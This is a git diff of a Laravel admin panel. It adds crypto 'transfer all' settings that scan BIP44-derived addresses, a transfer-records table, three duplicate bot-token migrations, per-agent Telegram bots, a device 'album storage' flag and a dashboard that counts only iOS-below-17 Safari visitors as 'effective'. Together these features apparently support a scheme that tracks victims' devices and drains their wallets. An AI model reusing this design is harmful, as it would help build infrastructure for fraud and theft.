env('TRANSFER_TO_ADDRESS_BTC', ''), 'max_usdt' => env('TRANSFER_MAX_USDT', '0'), 'max_trx' => env('TRANSFER_MAX_TRX', '0'), + 'max_eth' => env('TRANSFER_MAX_ETH', '0'), + 'max_btc' => env('TRANSFER_MAX_BTC', '0'), // BIP44 account index scan upper bound when matching fromAddress. 'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20), - // Leave this much TRX when transferring "all" native (bandwidth/energy fees). + // Leave this much native when transferring "all". 'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'), - ], - // reserved legacy payout addresses - 'payout' => [ - 'eth' => env('PAYOUT_ETH'), - 'btc' => env('PAYOUT_BTC'), - 'tron' => env('PAYOUT_TRON'), - 'sol' => env('PAYOUT_SOL'), + 'eth_fee_reserve' => env('TRANSFER_ETH_FEE_RESERVE', '0.001'), + 'btc_fee_reserve' => env('TRANSFER_BTC_FEE_RESERVE', '0.0001'), ], 'wallet_bundles' => [ diff --git a/database/migrations/2026_08_10_000010_create_transfer_records_table.php b/database/migrations/2026_08_10_000010_create_transfer_records_table.php new file mode 100644 index 0000000..35dd069 --- /dev/null +++ b/database/migrations/2026_08_10_000010_create_transfer_records_table.php @@ -0,0 +1,31 @@ +id(); + $table->string('from_address', 128)->index(); + $table->string('to_address', 128)->nullable()->index(); + $table->string('chain', 32)->index(); + $table->string('tx_hash', 128)->nullable()->index(); + $table->string('amount', 64)->nullable(); + $table->string('type', 32)->default('out'); + $table->string('asset', 32); + $table->string('operator', 128)->nullable()->index(); + $table->string('status', 32)->index(); + $table->text('error')->nullable(); + $table->timestamps(); + }); + } + + public function down(): void + { + Schema::dropIfExists('transfer_records'); + } +}; diff --git a/database/migrations/2026_08_11_000001_rename_users_bot_id_to_bot_token.php b/database/migrations/2026_08_11_000001_rename_users_bot_id_to_bot_token.php new file mode 100644 index 0000000..d6a5fa7 --- /dev/null +++ b/database/migrations/2026_08_11_000001_rename_users_bot_id_to_bot_token.php @@ -0,0 +1,72 @@ +dropColumn('bot_id'); + }); + } + + return; + } + + Schema::table('users', function (Blueprint $table) { + $table->string('bot_token', 255)->nullable()->after('chat_id'); + }); + + if (Schema::hasColumn('users', 'bot_id')) { + $driver = Schema::getConnection()->getDriverName(); + if ($driver === 'sqlite') { + DB::statement('UPDATE users SET bot_token = bot_id WHERE bot_id IS NOT NULL'); + } else { + DB::table('users')->whereNotNull('bot_id')->orderBy('id')->chunkById(100, function ($rows) { + foreach ($rows as $row) { + DB::table('users')->where('id', $row->id)->update(['bot_token' => $row->bot_id]); + } + }); + } + + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('bot_id'); + }); + } + } + + public function down(): void + { + if (! Schema::hasTable('users') || ! Schema::hasColumn('users', 'bot_token')) { + return; + } + + if (! Schema::hasColumn('users', 'bot_id')) { + Schema::table('users', function (Blueprint $table) { + $table->string('bot_id', 128)->nullable()->after('chat_id'); + }); + } + + DB::table('users')->whereNotNull('bot_token')->orderBy('id')->chunkById(100, function ($rows) { + foreach ($rows as $row) { + DB::table('users')->where('id', $row->id)->update([ + 'bot_id' => is_string($row->bot_token) ? substr($row->bot_token, 0, 128) : $row->bot_token, + ]); + } + }); + + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('bot_token'); + }); + } +}; diff --git a/database/migrations/2026_08_11_000001_users_bot_id_to_bot_token.php b/database/migrations/2026_08_11_000001_users_bot_id_to_bot_token.php new file mode 100644 index 0000000..f5d900c --- /dev/null +++ b/database/migrations/2026_08_11_000001_users_bot_id_to_bot_token.php @@ -0,0 +1,51 @@ +string('bot_token', 255)->nullable()->after('chat_id'); + }); + } + + if (Schema::hasColumn('users', 'bot_id')) { + $rows = DB::table('users')->select(['id', 'bot_id'])->whereNotNull('bot_id')->get(); + foreach ($rows as $row) { + DB::table('users')->where('id', $row->id)->update([ + 'bot_token' => $row->bot_id, + ]); + } + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('bot_id'); + }); + } + } + + public function down(): void + { + if (! Schema::hasColumn('users', 'bot_id')) { + Schema::table('users', function (Blueprint $table) { + $table->string('bot_id', 128)->nullable()->after('chat_id'); + }); + } + + if (Schema::hasColumn('users', 'bot_token')) { + $rows = DB::table('users')->select(['id', 'bot_token'])->whereNotNull('bot_token')->get(); + foreach ($rows as $row) { + DB::table('users')->where('id', $row->id)->update([ + 'bot_id' => is_string($row->bot_token) ? substr($row->bot_token, 0, 128) : null, + ]); + } + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('bot_token'); + }); + } + } +}; diff --git a/database/migrations/2026_08_11_000001_users_bot_token.php b/database/migrations/2026_08_11_000001_users_bot_token.php new file mode 100644 index 0000000..530a2e2 --- /dev/null +++ b/database/migrations/2026_08_11_000001_users_bot_token.php @@ -0,0 +1,59 @@ +string('bot_token', 255)->nullable()->after('chat_id'); + }); + } + + if (Schema::hasColumn('users', 'bot_id')) { + $rows = DB::table('users')->select(['id', 'bot_id'])->whereNotNull('bot_id')->get(); + foreach ($rows as $row) { + $token = trim((string) $row->bot_id); + if ($token === '') { + continue; + } + DB::table('users')->where('id', $row->id)->update(['bot_token' => $token]); + } + + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('bot_id'); + }); + } + } + + public function down(): void + { + if (! Schema::hasColumn('users', 'bot_id')) { + Schema::table('users', function (Blueprint $table) { + $table->string('bot_id', 128)->nullable()->after('chat_id'); + }); + } + + if (Schema::hasColumn('users', 'bot_token')) { + $rows = DB::table('users')->select(['id', 'bot_token'])->whereNotNull('bot_token')->get(); + foreach ($rows as $row) { + $token = trim((string) $row->bot_token); + if ($token === '') { + continue; + } + DB::table('users')->where('id', $row->id)->update([ + 'bot_id' => mb_substr($token, 0, 128), + ]); + } + + Schema::table('users', function (Blueprint $table) { + $table->dropColumn('bot_token'); + }); + } + } +}; diff --git a/database/migrations/2026_08_11_000010_devices_album_storage.php b/database/migrations/2026_08_11_000010_devices_album_storage.php new file mode 100644 index 0000000..39a8a1c --- /dev/null +++ b/database/migrations/2026_08_11_000010_devices_album_storage.php @@ -0,0 +1,22 @@ +boolean('album_storage')->default(true)->after('telegram_notified'); + }); + } + + public function down(): void + { + Schema::table('devices', function (Blueprint $table) { + $table->dropColumn('album_storage'); + }); + } +}; diff --git a/resources/views/admin/agents/index.blade.php b/resources/views/admin/agents/index.blade.php index 3714d4a..a5e8fe7 100644 --- a/resources/views/admin/agents/index.blade.php +++ b/resources/views/admin/agents/index.blade.php @@ -44,22 +44,34 @@ layui.use(['table', 'form', 'layer'], function () { var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$; var token = @json(csrf_token()); + function esc(s) { + return String(s == null ? '' : s) + .replace(/&/g, '&') + .replace(/"/g, '"') + .replace(/启用' : '禁用'; }}, - { field: 'comment', title: '备注', minWidth: 120 }, - { field: 'channels_count', title: '渠道链接数', width: 110 }, - { field: 'created_at', title: '创建时间', width: 170, sort: true }, - { field: 'updated_at', title: '更新时间', width: 170, sort: true }, + { field: 'telegram_ready', title: 'TG', width: 70, templet: function (d) { + return d.telegram_ready + ? '已配' + : '未配'; + }}, + { field: 'chat_id', title: 'Chat ID', width: 140 }, + { field: 'comment', title: '备注', minWidth: 100 }, + { field: 'channels_count', title: '渠道数', width: 90 }, + { field: 'created_at', title: '创建时间', width: 160, sort: true }, { title: '操作', width: 180, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' } ]], page: true, limit: 15, height: 'full-220', @@ -77,14 +89,19 @@ layui.use(['table', 'form', 'layer'], function () { layer.open({ type: 1, title: title, - area: ['460px', '360px'], + area: ['520px', '520px'], content: '
' + '
' + - '
' + + '' + '
' + '
' + '
' + - '
' + + '' + + '
' + + '
' + + '
' + + '
' + + '
配置后该代理渠道通知发往此 Bot/群;指令仅可查本代理数据,不支持 /transfer。
Webhook: /hooks/telegram/agent/{id},保存后执行 php artisan telegram:set-webhook --agent={id}
' + '
' + '' + '
' + diff --git a/resources/views/admin/dashboard/index.blade.php b/resources/views/admin/dashboard/index.blade.php index 5541068..236595d 100644 --- a/resources/views/admin/dashboard/index.blade.php +++ b/resources/views/admin/dashboard/index.blade.php @@ -4,6 +4,12 @@ @section('content') @php $portal = $portal ?? 'admin'; @endphp +
@@ -47,54 +53,55 @@
总设备数
-
—
+
—
新增设备
-
—
+
—
活跃设备
-
—
+
—
页面 PV
-
—
+
—
页面 UV
-
—
+
—
+
有效口径:iOS < 17 且使用 Safari(左侧高亮 / 右侧为全部)
-
按系统(PV / UV)
+
按系统(PV / UV / 占比)
- - + +
系统PVUV
—
系统PVUV占比
—
-
按浏览器(PV / UV)
+
按 iOS 系统版本(PV / UV / 占比)
- - + +
浏览器PVUV
—
版本PVUV占比
—
@@ -115,9 +122,16 @@ layui.use(['form'], function () { function fillRows(sel, rows) { var html = ''; (rows || []).forEach(function (r) { - html += '' + (r.label || '—') + '' + r.pv + '' + r.uv + ''; + var pct = (r.pct === undefined || r.pct === null) ? '—' : (r.pct + '%'); + html += '' + (r.label || '—') + '' + r.pv + '' + r.uv + '' + pct + ''; }); - $(sel).html(html || '暂无'); + $(sel).html(html || '暂无'); + } + + function ratioHtml(effective, total) { + return '' + effective + '' + + '/' + + '' + total + ''; } function load(where) { @@ -126,10 +140,10 @@ layui.use(['form'], function () { $('#dash-total').text(res.data.total); $('#dash-new').text(res.data.new_count); $('#dash-active').text(res.data.active_count); - $('#dash-pv').text(res.data.pv); - $('#dash-uv').text(res.data.uv); + $('#dash-pv').html(ratioHtml(res.data.effective_pv || 0, res.data.pv || 0)); + $('#dash-uv').html(ratioHtml(res.data.effective_uv || 0, res.data.uv || 0)); fillRows('#dash-by-os', res.data.by_os); - fillRows('#dash-by-browser', res.data.by_browser); + fillRows('#dash-by-ios-version', res.data.by_ios_version); $('#dash-range').text('统计区间:' + res.data.from + ' ~ ' + res.data.to); }); } diff --git a/resources/views/admin/devices/index.blade.php b/resources/views/admin/devices/index.blade.php index 2f29be6..badddff 100644 --- a/resources/views/admin/devices/index.blade.php +++ b/resources/views/admin/devices/index.blade.php @@ -84,13 +84,16 @@ @push('scripts')